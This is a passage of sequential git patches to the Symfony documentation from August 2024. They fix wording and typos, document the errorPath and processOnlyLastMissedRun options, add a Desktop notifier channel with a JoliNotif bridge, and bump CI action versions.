 via the ``stateful`` option (and the :doc:`Cache component </components/cache>`).
-This allows the system to retain the state of the schedule, ensuring that when a worker is restarted, it resumes from the point it left off.::
+This allows the system to retain the state of the schedule, ensuring that when a
+worker is restarted, it resumes from the point it left off::
 
     // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
@@ -889,7 +890,8 @@ This allows the system to retain the state of the schedule, ensuring that when a
         }
     }
 
-With ``stateful`` option, All missed messages will be handled, If you nedd handle your message only once you can use the ``processOnlyLastMissedRun`` option.::
+With the ``stateful`` option, all missed messages will be handled. If you need to
+handle a message only once, you can use the ``processOnlyLastMissedRun`` option::
 
     // src/Scheduler/SaleTaskProvider.php
     namespace App\Scheduler;
@@ -910,6 +912,10 @@ With ``stateful`` option, All missed messages will be handled, If you nedd handl
         }
     }
 
+.. versionadded:: 7.2
+
+    The ``processOnlyLastMissedRun`` option was introduced in Symfony 7.2.
+
 To scale your schedules more effectively, you can use multiple workers. In such
 cases, a good practice is to add a :doc:`lock </components/lock>` to prevent the
 same task more than once::

From 2ffd01615208de3858f1ee9bf19e20efb3b8efff Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 26 Aug 2024 15:01:21 +0200
Subject: [PATCH 4967/5766] Minor tweaks

---
 workflow/workflow-and-state-machine.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst
index c8487e60fb9..14ab7d0320a 100644
--- a/workflow/workflow-and-state-machine.rst
+++ b/workflow/workflow-and-state-machine.rst
@@ -81,7 +81,7 @@ Below is the configuration for the pull request state machine.
                     marking_store:
                          type: 'method'
                          property: 'currentPlace'
-                    # The supports options is useful only if you are using twig functions ('workflow_*')
+                    # The "supports" option is useful only if you are using Twig functions ('workflow_*')
                     supports:
                         - App\Entity\PullRequest
                     initial_marking: start
@@ -132,7 +132,7 @@ Below is the configuration for the pull request state machine.
 
                     <framework:marking-store type="method" property="currentPlace"/>
 
-                    <!-- The supports options is useful only if you are using twig functions ('workflow_*') -->
+                    <!-- The "supports" option is useful only if you are using Twig functions ('workflow_*') -->
                     <framework:support>App\Entity\PullRequest</framework:support>
 
                     <framework:place>start</framework:place>
@@ -201,7 +201,7 @@ Below is the configuration for the pull request state machine.
 
             $pullRequest
                 ->type('state_machine')
-                // The supports options is useful only if you are using twig functions ('workflow_*')
+                // The "supports" option is useful only if you are using Twig functions ('workflow_*')
                 ->supports(['App\Entity\PullRequest'])
                 ->initialMarking(['start']);
 

From 1666a1cca8e44283fb397ee4d73c7e17a28b96b9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 26 Aug 2024 16:38:32 +0200
Subject: [PATCH 4968/5766] Minor tweak

---
 security/custom_authenticator.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index cc8051f286e..c40765e9a8a 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -37,6 +37,7 @@ method that fits most use-cases::
          */
         public function supports(Request $request): ?bool
         {
+            // "auth_token" is an example of a custom, non-standard HTTP header used in this application
             return $request->headers->has('auth-token');
         }
 

From 23838fd198c9a98731567284306d56b6c78f7e32 Mon Sep 17 00:00:00 2001
From: Thibaut THOUEMENT <thouement.t@outlook.fr>
Date: Fri, 23 Aug 2024 22:10:10 +0200
Subject: [PATCH 4969/5766] [Validator] Add errorPath to Unique constraint

---
 reference/constraints/Unique.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index 8954f455086..7c4f78cfcc3 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -170,6 +170,15 @@ collection::
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
+``errorPath``
+~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``null``
+
+This option allows you to define a custom path for your message.
+``#[Assert\Unique(fields: ['latitude', 'longitude'], errorPath: 'point_of_interest')]``
+Instead of ``0: "Error message"``, it will be : ``0.point_of_interest: "Error message"``
+
 ``message``
 ~~~~~~~~~~~
 

From 03713d55356555cf5933daa8bc1cbe821ccf1591 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 26 Aug 2024 16:58:22 +0200
Subject: [PATCH 4970/5766] Reword

---
 reference/constraints/Unique.rst | 13 ++++++++++---
 1 file changed, 10 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index 7c4f78cfcc3..68754738271 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -175,9 +175,16 @@ collection::
 
 **type**: ``string`` **default**: ``null``
 
-This option allows you to define a custom path for your message.
-``#[Assert\Unique(fields: ['latitude', 'longitude'], errorPath: 'point_of_interest')]``
-Instead of ``0: "Error message"``, it will be : ``0.point_of_interest: "Error message"``
+.. versionadded:: 7.2
+
+    The ``errorPath`` option was introduced in Symfony 7.2.
+
+If a validation error occurs, the error message is, by default, bound to the
+first element in the collection. Use this option to bind the error message to a
+specific field within the first item of the collection.
+
+The value of this option must use any :doc:`valid PropertyAccess syntax </components/property_access>`
+(e.g. ``'point_of_interest'``, ``'user.email'``).
 
 ``message``
 ~~~~~~~~~~~

From c58aea4dd09030c98d26ef74f5cd75b47d2f5400 Mon Sep 17 00:00:00 2001
From: Thibaut THOUEMENT <thouement.t@outlook.fr>
Date: Fri, 23 Aug 2024 17:37:54 +0200
Subject: [PATCH 4971/5766] Fix #20080

---
 components/serializer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 43bcc240e57..0da80f10e0e 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -799,8 +799,8 @@ When serializing, you can set a callback to format a specific object property::
     $encoder = new JsonEncoder();
 
     // all callback parameters are optional (you can omit the ones you don't use)
-    $dateCallback = function ($innerObject, $outerObject, string $attributeName, ?string $format = null, array $context = []) {
-        return $innerObject instanceof \DateTime ? $innerObject->format(\DateTime::ATOM) : '';
+    $dateCallback = function ($attributeValue, $object, string $attributeName, ?string $format = null, array $context = []) {
+        return $attributeValue instanceof \DateTime ? $attributeValue->format(\DateTime::ATOM) : '';
     };
 
     $defaultContext = [

From 86a4de5cdf76e92eeec79d3263683083aa32992e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 Aug 2024 09:11:39 +0200
Subject: [PATCH 4972/5766] Reword

---
 profiler.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/profiler.rst b/profiler.rst
index eb4ee5d8a0e..e894cb644d1 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -51,7 +51,9 @@ method to access to its associated profile::
 
 .. note::
 
-    To declare the profiler service you can refer to :ref:`Enabling the Profiler Conditionally <enabling_the_profiler_conditionally_tag>`.
+    The ``profiler`` service will be :doc:`autowired </service_container/autowiring>`
+    automatically when type-hinting any service argument with the
+    :class:`Symfony\\Component\\HttpKernel\\Profiler\\Profiler` class.
 
 When the profiler stores data about a request, it also associates a token with it;
 this token is available in the ``X-Debug-Token`` HTTP header of the response.

From be4428d43acba22f33a834ae405a6e929156e2f4 Mon Sep 17 00:00:00 2001
From: novah77 <novah.dev.symfony@gmail.com>
Date: Tue, 27 Aug 2024 18:17:36 +0300
Subject: [PATCH 4973/5766] Fix Uncaught ArgumentCountError

Set second argument with an empty array for the two instructions to get rid of the fatal error uncaught argumentError
---
 components/expression_language.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index eeababaf373..f718f928702 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -99,11 +99,11 @@ other hand, returns a boolean indicating if the expression is valid or not::
 
     $expressionLanguage = new ExpressionLanguage();
 
-    var_dump($expressionLanguage->parse('1 + 2'));
+    var_dump($expressionLanguage->parse('1 + 2', []));
     // displays the AST nodes of the expression which can be
     // inspected and manipulated
 
-    var_dump($expressionLanguage->lint('1 + 2')); // displays true
+    var_dump($expressionLanguage->lint('1 + 2', [])); // displays true
 
 Passing in Variables
 --------------------

From 6528840fe01c243c2f671007cae9b21993396068 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 22 Aug 2024 15:27:42 +0200
Subject: [PATCH 4974/5766] Use DOCtor-RST 1.62.2 and new
 `no_broken_ref_directive` rule

---
 .doctor-rst.yaml          | 1 +
 .github/workflows/ci.yaml | 2 +-
 2 files changed, 2 insertions(+), 1 deletion(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 93d90a1df9f..4f07d84cd25 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -39,6 +39,7 @@ rules:
     no_blank_line_after_filepath_in_xml_code_block: ~
     no_blank_line_after_filepath_in_yaml_code_block: ~
     no_brackets_in_method_directive: ~
+    no_broken_ref_directive: ~
     no_composer_req: ~
     no_directive_after_shorthand: ~
     no_duplicate_use_statements: ~
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index e8142fecd10..f18be0d0e45 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.61.1
+                uses: docker://oskarstark/doctor-rst:1.62.2
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 45ba59fd12b5db3fa49a6cb6ac38683d9119442b Mon Sep 17 00:00:00 2001
From: Ahmed Ghanem <124502255+ahmedghanem00@users.noreply.github.com>
Date: Mon, 29 Jul 2024 02:56:36 +0300
Subject: [PATCH 4975/5766] [Notifier] Create `DesktopChannel` and `JoliNotif`
 bridge

---
 notifier.rst | 84 +++++++++++++++++++++++++++++++++++++++++++++++++---
 1 file changed, 80 insertions(+), 4 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 6d506910ead..4df4590235e 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -16,8 +16,8 @@ Get the Notifier installed using:
 
 .. _channels-chatters-texters-email-and-browser:
 
-Channels: Chatters, Texters, Email, Browser and Push
-----------------------------------------------------
+Channels: Chatters, Texters, Email, Browser, Push and Desktop
+-------------------------------------------------------------
 
 The notifier component can send notifications to different channels. Each
 channel can integrate with different providers (e.g. Slack or Twilio SMS)
@@ -32,6 +32,7 @@ The notifier component supports the following channels:
 * :ref:`Email channel <notifier-email-channel>` integrates the :doc:`Symfony Mailer </mailer>`;
 * Browser channel uses :ref:`flash messages <flash-messages>`.
 * :ref:`Push channel <notifier-push-channel>` sends notifications to phones and browsers via push notifications.
+* :ref:`Desktop channel <notifier-desktop-channel>` displays desktop notifications on the same host machine.
 
 .. tip::
 
@@ -623,6 +624,79 @@ configure the ``texter_transports``:
             ;
         };
 
+.. _notifier-desktop-channel:
+
+Desktop Channel
+~~~~~~~~~~~~~~~
+
+The desktop channel is used to display desktop notifications on the same host machine using
+:class:`Symfony\\Component\\Notifier\\Texter` classes. Currently, Symfony
+is integrated with the following providers:
+
+===============  ====================================  ==============================================================================
+Provider         Package                               DSN
+===============  ====================================  ==============================================================================
+`JoliNotif`_     ``symfony/joli-notif-notifier``       ``jolinotif://default``
+===============  ====================================  ==============================================================================
+
+.. versionadded: 7.2
+
+    The JoliNotif bridge was introduced in Symfony 7.2.
+
+To enable a texter, add the correct DSN in your ``.env`` file and
+configure the ``texter_transports``:
+
+.. code-block:: bash
+
+    # .env
+    JOLINOTIF=jolinotif://default
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/notifier.yaml
+        framework:
+            notifier:
+                texter_transports:
+                    jolinotif: '%env(JOLINOTIF)%'
+
+    .. code-block:: xml
+
+        <!-- config/packages/notifier.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:notifier>
+                    <framework:texter-transport name="jolinotif">
+                        %env(JOLINOTIF)%
+                    </framework:texter-transport>
+                </framework:notifier>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/notifier.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $framework->notifier()
+                ->texterTransport('jolinotif', env('JOLINOTIF'))
+            ;
+        };
+
+.. versionadded:: 7.2
+
+    The ``Desktop`` channel was introduced in Symfony 7.2.
+
 Configure to use Failover or Round-Robin Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -926,9 +1000,10 @@ and its ``asChatMessage()`` method::
 
 The
 :class:`Symfony\\Component\\Notifier\\Notification\\SmsNotificationInterface`,
-:class:`Symfony\\Component\\Notifier\\Notification\\EmailNotificationInterface`
-and
+:class:`Symfony\\Component\\Notifier\\Notification\\EmailNotificationInterface`,
 :class:`Symfony\\Component\\Notifier\\Notification\\PushNotificationInterface`
+and
+:class:`Symfony\\Component\\Notifier\\Notification\\DesktopNotificationInterface`
 also exists to modify messages sent to those channels.
 
 Customize Browser Notifications (Flash Messages)
@@ -1114,6 +1189,7 @@ is dispatched. Listeners receive a
 .. _`Infobip`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Infobip/README.md
 .. _`Iqsms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Iqsms/README.md
 .. _`iSendPro`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Isendpro/README.md
+.. _`JoliNotif`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/JoliNotif/README.md
 .. _`KazInfoTeh`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/KazInfoTeh/README.md
 .. _`LINE Notify`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LineNotify/README.md
 .. _`LightSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LightSms/README.md

From cc4de4e630189e65ca2e74f98b469d18d20aca28 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 28 Aug 2024 13:13:14 +0200
Subject: [PATCH 4976/5766] Keep a reference to not break existing links

---
 notifier.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/notifier.rst b/notifier.rst
index 4df4590235e..5f38a078f4c 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -15,6 +15,7 @@ Get the Notifier installed using:
     $ composer require symfony/notifier
 
 .. _channels-chatters-texters-email-and-browser:
+.. _channels-chatters-texters-email-browser-and-push:
 
 Channels: Chatters, Texters, Email, Browser, Push and Desktop
 -------------------------------------------------------------

From 398f6d1afd207e70f355137b00589a3a60c1cf99 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 28 Aug 2024 13:44:59 +0200
Subject: [PATCH 4977/5766] [Notifier] Misc. minor tweaks

---
 notifier.rst | 30 ++++++++++++++++--------------
 1 file changed, 16 insertions(+), 14 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 3bf2d34e34f..08c9e51dcb7 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -15,12 +15,14 @@ Get the Notifier installed using:
     $ composer require symfony/notifier
 
 .. _channels-chatters-texters-email-and-browser:
+.. _channels-chatters-texters-email-browser-and-push:
 
-Channels: Chatters, Texters, Email, Browser and Push
-----------------------------------------------------
+Channels
+--------
 
-The notifier component can send notifications to different channels. Each
-channel can integrate with different providers (e.g. Slack or Twilio SMS)
+Channels refer to the different mediums through which notifications can be delivered.
+These channels can include email, SMS, chat services, push notifications, etc.
+Each channel can integrate with different providers (e.g. Slack or Twilio SMS)
 by using transports.
 
 The notifier component supports the following channels:
@@ -33,16 +35,16 @@ The notifier component supports the following channels:
 * Browser channel uses :ref:`flash messages <flash-messages>`.
 * :ref:`Push channel <notifier-push-channel>` sends notifications to phones and browsers via push notifications.
 
-.. tip::
-
-    Use :doc:`secrets </configuration/secrets>` to securely store your
-    API tokens.
-
 .. _notifier-sms-channel:
 
 SMS Channel
 ~~~~~~~~~~~
 
+The SMS channel uses :class:`Symfony\\Component\\Notifier\\Texter` classes
+to send SMS messages to mobile phones. This feature requires subscribing to
+a third-party service that sends SMS messages. Symfony provides integration
+with a couple popular SMS services:
+
 .. caution::
 
     If any of the DSN values contains any character considered special in a
@@ -50,11 +52,6 @@ SMS Channel
     encode them. See `RFC 3986`_ for the full list of reserved characters or use the
     :phpfunction:`urlencode` function to encode them.
 
-The SMS channel uses :class:`Symfony\\Component\\Notifier\\Texter` classes
-to send SMS messages to mobile phones. This feature requires subscribing to
-a third-party service that sends SMS messages. Symfony provides integration
-with a couple popular SMS services:
-
 ==================  ====================================================================================================================================
 Service
 ==================  ====================================================================================================================================
@@ -213,6 +210,11 @@ Service
     The `Sendinblue`_ integration is deprecated since
     Symfony 6.4, use the `Brevo`_ integration instead.
 
+.. tip::
+
+    Use :doc:`Symfony configuration secrets </configuration/secrets>` to securely
+    store your API tokens.
+
 .. tip::
 
     Some third party transports, when using the API, support status callbacks

From 3637c8d8ec32450da0f7f13191646bedcb837d15 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 28 Aug 2024 14:11:16 +0200
Subject: [PATCH 4978/5766] Use DOCtor-RST 1.62.3

---
 .github/workflows/ci.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index f18be0d0e45..7c0ca18ed0d 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.62.2
+                uses: docker://oskarstark/doctor-rst:1.62.3
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 4065cbfbd97a21ce20782cbcfe1f84edb8e4d945 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 28 Aug 2024 14:12:49 +0200
Subject: [PATCH 4979/5766] [CI] Use actions/checkout@v4

---
 .github/workflows/ci.yaml | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index f18be0d0e45..8aa83d74fbf 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -21,7 +21,7 @@ jobs:
 
         steps:
             -   name: "Checkout"
-                uses: actions/checkout@v3
+                uses: actions/checkout@v4
 
             -   name: "Set-up PHP"
                 uses: shivammathur/setup-php@v2
@@ -57,7 +57,7 @@ jobs:
 
         steps:
             -   name: "Checkout"
-                uses: actions/checkout@v3
+                uses: actions/checkout@v4
 
             -   name: "Create cache dir"
                 run: mkdir .cache
@@ -86,7 +86,7 @@ jobs:
 
         steps:
             -   name: Checkout code
-                uses: actions/checkout@v3
+                uses: actions/checkout@v4
                 with:
                     path: 'docs'
 

From e6e298421a7a43ceff3ff71f47dc4b71d83866b2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 28 Aug 2024 16:29:26 +0200
Subject: [PATCH 4980/5766] Minor tweaks

---
 notifier.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 08c9e51dcb7..7d5e395fb02 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -21,9 +21,9 @@ Channels
 --------
 
 Channels refer to the different mediums through which notifications can be delivered.
-These channels can include email, SMS, chat services, push notifications, etc.
-Each channel can integrate with different providers (e.g. Slack or Twilio SMS)
-by using transports.
+These channels include email, SMS, chat services, push notifications, etc. Each
+channel can integrate with different providers (e.g. Slack or Twilio SMS) by
+using transports.
 
 The notifier component supports the following channels:
 

From 63c749ff15aa15d93539695e7abdb5d3a2e21b73 Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Thu, 29 Aug 2024 13:50:09 +0200
Subject: [PATCH 4981/5766] chore: relocate the sqlite note block in a better
 place

---
 doctrine.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 770a7b32a0a..f3a34757374 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -174,13 +174,6 @@ Whoa! You now have a new ``src/Entity/Product.php`` file::
     Confused why the price is an integer? Don't worry: this is just an example.
     But, storing prices as integers (e.g. 100 = $1 USD) can avoid rounding issues.
 
-.. note::
-
-    If you are using an SQLite database, you'll see the following error:
-    *PDOException: SQLSTATE[HY000]: General error: 1 Cannot add a NOT NULL
-    column with default value NULL*. Add a ``nullable=true`` option to the
-    ``description`` property to fix the problem.
-
 .. caution::
 
     There is a `limit of 767 bytes for the index key prefix`_ when using
@@ -323,6 +316,13 @@ The migration system is *smart*. It compares all of your entities with the curre
 state of the database and generates the SQL needed to synchronize them! Like
 before, execute your migrations:
 
+.. note::
+
+    If you are using an SQLite database, you'll see the following error:
+    *PDOException: SQLSTATE[HY000]: General error: 1 Cannot add a NOT NULL
+    column with default value NULL*. Add a ``nullable=true`` option to the
+    ``description`` property to fix the problem.
+
 .. code-block:: terminal
 
     $ php bin/console doctrine:migrations:migrate

From ce6e820aa394a0e6f048e4d8c647de34cc8da85a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 30 Aug 2024 08:26:57 +0200
Subject: [PATCH 4982/5766] Minor tweak

---
 doctrine.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index f3a34757374..aba27545211 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -316,17 +316,17 @@ The migration system is *smart*. It compares all of your entities with the curre
 state of the database and generates the SQL needed to synchronize them! Like
 before, execute your migrations:
 
-.. note::
+.. code-block:: terminal
+
+    $ php bin/console doctrine:migrations:migrate
+
+.. caution::
 
     If you are using an SQLite database, you'll see the following error:
     *PDOException: SQLSTATE[HY000]: General error: 1 Cannot add a NOT NULL
     column with default value NULL*. Add a ``nullable=true`` option to the
     ``description`` property to fix the problem.
 
-.. code-block:: terminal
-
-    $ php bin/console doctrine:migrations:migrate
-
 This will only execute the *one* new migration file, because DoctrineMigrationsBundle
 knows that the first migration was already executed earlier. Behind the scenes, it
 manages a ``migration_versions`` table to track this.

From 6ac0e212d7ac96b745ce5e1e20f79184d69e5ee5 Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Fri, 30 Aug 2024 08:56:14 +0200
Subject: [PATCH 4983/5766] feat: remove mention of FOSUserBundle in doc

---
 security/ldap.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/ldap.rst b/security/ldap.rst
index 307d9996c9b..e51e8dda47f 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -25,7 +25,7 @@ This means that the following scenarios will work:
   either the LDAP form login or LDAP HTTP Basic authentication providers.
 
 * Checking a user's password against an LDAP server while fetching user
-  information from another source (database using FOSUserBundle, for
+  information from another source like your main database for
   example).
 
 * Loading user information from an LDAP server, while using another

From f4a552b9cd894ff233802ca52d66f7345908f26c Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 30 Aug 2024 10:39:06 +0200
Subject: [PATCH 4984/5766] [FrameworkBundle] Lower uppercase `must`

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index ce1062de1c8..c9ece98be72 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3268,7 +3268,7 @@ settings from the base pool as defaults.
 
 .. note::
 
-    Your service MUST implement the ``Psr\Cache\CacheItemPoolInterface`` interface.
+    Your service **must** implement the ``Psr\Cache\CacheItemPoolInterface`` interface.
 
 public
 """"""

From e7e60e1f0430cc69a25a2a24405032ed189d5226 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 30 Aug 2024 13:07:33 +0200
Subject: [PATCH 4985/5766] Minor tweak

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index c9ece98be72..4432563f597 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3268,7 +3268,7 @@ settings from the base pool as defaults.
 
 .. note::
 
-    Your service **must** implement the ``Psr\Cache\CacheItemPoolInterface`` interface.
+    Your service needs to implement the ``Psr\Cache\CacheItemPoolInterface`` interface.
 
 public
 """"""

From 2bbdc9901b5d9c8f53484717bcb2cbb1b9c169d0 Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Sat, 31 Aug 2024 22:15:03 +0200
Subject: [PATCH 4986/5766] Remove unnecessary type checking for the method
 from SentMessageEvent

---
 mailer.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index dca0dde5aad..eafd542e2f3 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1728,14 +1728,10 @@ which is useful for debugging errors::
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Mailer\Event\SentMessageEvent;
-    use Symfony\Component\Mailer\SentMessage;
 
     public function onMessage(SentMessageEvent $event): void
     {
         $message = $event->getMessage();
-        if (!$message instanceof SentMessage) {
-            return;
-        }
 
         // do something with the message
     }

From 1976372c532977ae1215f58c2698f2c16f722036 Mon Sep 17 00:00:00 2001
From: Julien Dephix <jdephix@hotmail.com>
Date: Tue, 27 Aug 2024 16:59:53 +0200
Subject: [PATCH 4987/5766] Fix typos in end_to_end.rst

---
 testing/end_to_end.rst | 15 +++++++--------
 1 file changed, 7 insertions(+), 8 deletions(-)

diff --git a/testing/end_to_end.rst b/testing/end_to_end.rst
index 4ae6fb9da15..eede672bfce 100644
--- a/testing/end_to_end.rst
+++ b/testing/end_to_end.rst
@@ -49,9 +49,9 @@ to install ChromeDriver and geckodriver locally:
 
     $ vendor/bin/bdi detect drivers
 
-Panther will detect and use automatically drivers stored in the ``drivers/`` directory
+Panther will detect and automatically use drivers stored in the ``drivers/`` directory
 of your project when installing them manually. You can download `ChromeDriver`_
-for Chromium or Chromeand `GeckoDriver`_ for Firefox and put them anywhere in
+for Chromium or Chrome and `GeckoDriver`_ for Firefox and put them anywhere in
 your ``PATH`` or in the ``drivers/`` directory of your project.
 
 Alternatively, you can use the package manager of your operating system
@@ -132,7 +132,7 @@ Creating a TestCase
 ~~~~~~~~~~~~~~~~~~~
 
 The ``PantherTestCase`` class allows you to write end-to-end tests. It
-automatically starts your app using the built-in PHP web server and let
+automatically starts your app using the built-in PHP web server and lets
 you crawl it using Panther. To provide all the testing tools you're used
 to, it extends `PHPUnit`_'s ``TestCase``.
 
@@ -264,8 +264,7 @@ future::
         }
     }
 
-You can then run this test by using PHPUnit, like you would do for any other
-test:
+You can then run this test using PHPUnit, like you would for any other test:
 
 .. code-block:: terminal
 
@@ -498,13 +497,13 @@ Having a Multi-domain Application
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 It happens that your PHP/Symfony application might serve several different
-domain names. As Panther saves the Client in memory between tests to improve
+domain names. As Panther saves the client in memory between tests to improve
 performance, you will have to run your tests in separate
 processes if you write several tests using Panther for different domain names.
 
 To do so, you can use the native ``@runInSeparateProcess`` PHPUnit annotation.
 Here is an example using the ``external_base_uri`` option to determine the
-domain name used by the Client when using separate processes::
+domain name used by the client when using separate processes::
 
     // tests/FirstDomainTest.php
     namespace App\Tests;
@@ -792,7 +791,7 @@ The following features are not currently supported:
 * Selecting invalid choices in select
 
 Also, there is a known issue if you are using Bootstrap 5. It implements a
-scrolling effect, which tends to mislead Panther. To fix this, we advise you to
+scrolling effect which tends to mislead Panther. To fix this, we advise you to
 deactivate this effect by setting the Bootstrap 5 ``$enable-smooth-scroll``
 variable to ``false`` in your style file:
 

From e8d3ad513297ce3445401862aac816d201955d8f Mon Sep 17 00:00:00 2001
From: Ed Poulain <edpoulain@gmail.com>
Date: Sun, 1 Sep 2024 09:51:55 +0200
Subject: [PATCH 4988/5766] Use the same template across all examples

---
 security/login_link.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/login_link.rst b/security/login_link.rst
index 23756024712..51f6f613f1b 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -277,7 +277,7 @@ number::
                 return $this->render('security/login_link_sent.html.twig');
             }
 
